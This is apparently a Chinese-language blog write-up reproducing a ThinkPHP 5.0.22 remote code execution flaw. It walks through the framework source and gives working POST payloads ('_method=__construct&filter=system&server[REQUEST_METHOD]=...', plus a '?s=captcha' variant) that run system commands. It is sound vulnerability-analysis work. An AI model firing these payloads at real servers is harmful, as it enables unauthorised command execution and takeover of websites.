Thinkphp5 RCE复现

5.0.22模式下开启DEBUG的RCE

在config.php中开始de’bdebug file 漏洞最终是进入了 request的filterValue方法中执行了call_user_func()

private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正则过滤
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默认值
                        $value = $default;
                        break;
                    }
                } elseif (!empty($filter)) {
                    // filter函数不存在时, 则使用filter_var进行过滤
                    // filter为非整形值时, 调用filter_id取得过滤id
                    $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                    if (false === $value) {
                        $value = $default;
                        break;
                    }
                }
            }
        }
        return $this->filterExp($value);
    }

调试跟进入口程序 App::run()->send(); file 进入到run()里边 重点是这里

if (empty($dispatch)) {
                $dispatch = self::routeCheck($request, $config);
            }

进入routeCheck()后 跟进这个check

$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);

然后会调用 file

这里可以调用request类的任意方法

file

$_POST[Config::get('var_method')]
var_method==_method

file 所以这里就是

$this->method=$_POST['_method']

然后下边就可以调用requests的任意方法了。

$this->{$this->method}($_POST)
这里的$_POST是指传进入所有的post参数组成的数组

file

这里需要看reqeusts类的一个方法__construct()

protected function __construct($options = [])
   {
       foreach ($options as $name => $item) {
           if (property_exists($this, $name)) {
               $this->$name = $item;
           }
       }
       if (is_null($this->filter)) {
           $this->filter = Config::get('default_filter');
       }

       // 保存 php://input
       $this->input = file_get_contents('php://input');
   }

file $this->$name = $item;可以造成任意变量覆盖 这里利用前边的reqeusts类任意函数调用暂时构造调用__construct

POST:_method=__construct

file

然后继续调试

if (self::$debug) {
               Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
               Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
               Log::record('[ PARAM ] ' . var_export($request->param()方法, true), 'info');
           }

有一个是否开启debug的判断 开启后进入if里边会调用$request->param()方法 file 继续调用了method方法 参数为true file 调用server方法 file $this->server可以通过前边的任意变量覆盖进行修改 $name=REQUEST_METHOD 进入input方法 这里的$data就是上百年的server 可以通过变量覆盖控制 file

foreach (explode('.', $name) as $val) {
               if (isset($data[$val])) {
                   $data = $data[$val];
               } else {
                   // 无输入数据,返回默认值
                   return $default;
               }
           }

这里的$var=REQUEST_METHOD 结果就是 $data=$data[REQUEST_METHOD] $data可控 ran然后会进入filterValue file 然后就调用了call_user_func函数$filter是调用函数的参数 $data是调用函数的参数 $data这里是可控的 看一下$filter

$filter = $this->getFilter($filter, $default);

 protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;
        return $filter;
    }

也是可控的 poc

_method=__construct&filter=system&server[REQUEST_METHOD]=dir

通过_method方法实现requests类的任意方法调用 调用了construct 然后construct的参数为 array( ‘_method’=>’__construct’, ‘filter’=>’system’, ‘server’=>array(‘REQUEST_METHOD’=>’dir’) )

经过__construct会将$this->filter的值赋值为system 将$this->server的值赋值为array(‘REQUEST_METHOD’=>’dir’) 然后在input方法中 $data=$this->serve $var=REQUEST_METHOD 经过后边 $data = $data[$val];即$data=$server[‘REQUEST_METHOD’]=dir 然后调用

$this->filterValue($data, $name, $filter);

$this->filterValue("dir", $name, "system");

call_user_func('system', 'dir')

5.0.22非Debug模式下的RCE

关闭debug 需要又个验证码模块 如果是完整包应该是自带的 大致流程和上边差不多 只是没有用debug那个判断里的param方法 而是用到了 file 如果$dispatch[‘type’]等于controller或者method将会调用param方法 和上边就一样的链了

file

然后就用到了?s=captcha file file 使用?s=captcha 会让$dispatch[‘type’]=’method’ 然后进入param就一样了 poc

?s=captcha
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=dir

这里需要注意的是 如果不加method=get 经过变量覆盖后method的值为__construct file 我们请求的路由是?s=captcha,它对应的注册规则为\think\Route::get 所以要将method更改为get file 如果没有更改为get 在check方法中 file 这里的rules为空 cehck方法就会返回flase 之后进入路由无效的处理中 file 进入parseurl方法中返回 file 导致$dispatch[‘type’]=’module’


Thinkphp5 RCE复现
http://example.com/2021/08/09/OldBlog/thinkphp5-rce复现/
作者
Autumn
发布于
2021年8月9日
许可协议